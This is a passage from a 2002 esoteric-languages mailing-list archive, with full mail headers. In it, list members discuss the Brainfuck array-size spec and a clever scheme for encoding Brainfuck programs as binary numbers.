http://esoteric.sange.fi/brainfuck/impl/compilers/bfc/brainfuck.txt) and saw
that the array size really is specified to be 30000. Faase's spec does not
have this limitation (not surprising, he seems to be quite
mathematically-oriented.)

> yours are funnier, through... I'll probably write a 1.0 compliant
> interpreter...

Well thank you, though only one of them is "mine" actually. They're carefully
crafted by a democratic standardisation institute, mind you.

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi






From esoteric@oiva.sange.fi Sun Jun 30 10:57:06 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OZXE-000GNw-00; Sun, 30 Jun 2002 10:54:16 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 30 Jun 2002 10:54:09 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OZWv-000GNn-00; Sun, 30 Jun 2002 10:53:57 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 30 Jun 2002 10:53:50 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OZWn-000GNh-00
	for lang@esoteric.sange.fi; Sun, 30 Jun 2002 10:53:49 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5U7rmi25070
	for <lang@esoteric.sange.fi>; Sun, 30 Jun 2002 10:53:49 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5U7rkY08967
	for <lang@esoteric.sange.fi>; Sun, 30 Jun 2002 10:53:46 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Sun, 30 Jun 2002 10:53:46 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
In-Reply-To: <B94238E8.6C7%cristofd@hevanet.com>
Message-ID: <Pine.LNX.4.44.0206301051001.8257-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Fri, 28 Jun 2002, Daniel wrote:
> +++++++.
> (Actually, that one might never occur, since + is zero and leading zeroes
> probably aren't translated to brainfuck. Which is fine, since every program
> that starts with + can be replaced with an equivalent program that doesn't,
> by tacking on a >< at the start.)

I'm a little bit surprised that nobody yet suggested this general 
solution: to strip the most significant 1-bit and treat the rest of the 
number as the source of the program.

(for example, octal encoding on brainfuck by 0->+, 1->-, etc will produce
the above program from binary 1000000000000000000000110.)

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Sun Jun 30 11:17:43 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OZtt-000GU1-00; Sun, 30 Jun 2002 11:17:41 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 30 Jun 2002 11:17:34 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OZti-000GTu-00; Sun, 30 Jun 2002 11:17:30 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 30 Jun 2002 11:17:22 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OZtZ-000GTn-00
	for lang@esoteric.sange.fi; Sun, 30 Jun 2002 11:17:22 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5U8HJL16445
	for <lang@esoteric.sange.fi>; Sun, 30 Jun 2002 01:17:19 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 30 Jun 2002 01:17:14 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B9440C99.6E5%cristofd@hevanet.com>
In-Reply-To: <Pine.LNX.4.44.0206301051001.8257-100000@melkinpaasi.cs.Helsinki.FI>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

>> +++++++.
>> (Actually, that one might never occur, since + is zero and leading zeroes
>> probably aren't translated to brainfuck. Which is fine, since every program
>> that starts with + can be replaced with an equivalent program that doesn't,
>> by tacking on a >< at the start.)
> 
> I'm a little bit surprised that nobody yet suggested this general
> solution: to strip the most significant 1-bit and treat the rest of the
> number as the source of the program.
> 
> (for example, octal encoding on brainfuck by 0->+, 1->-, etc will produce
> the above program from binary 1000000000000000000000110.)

That's clever. Mildly problematic practically (extra calculation, and a high
rate of sliced instructions), but certainly an appealing thought.

-Daniel.





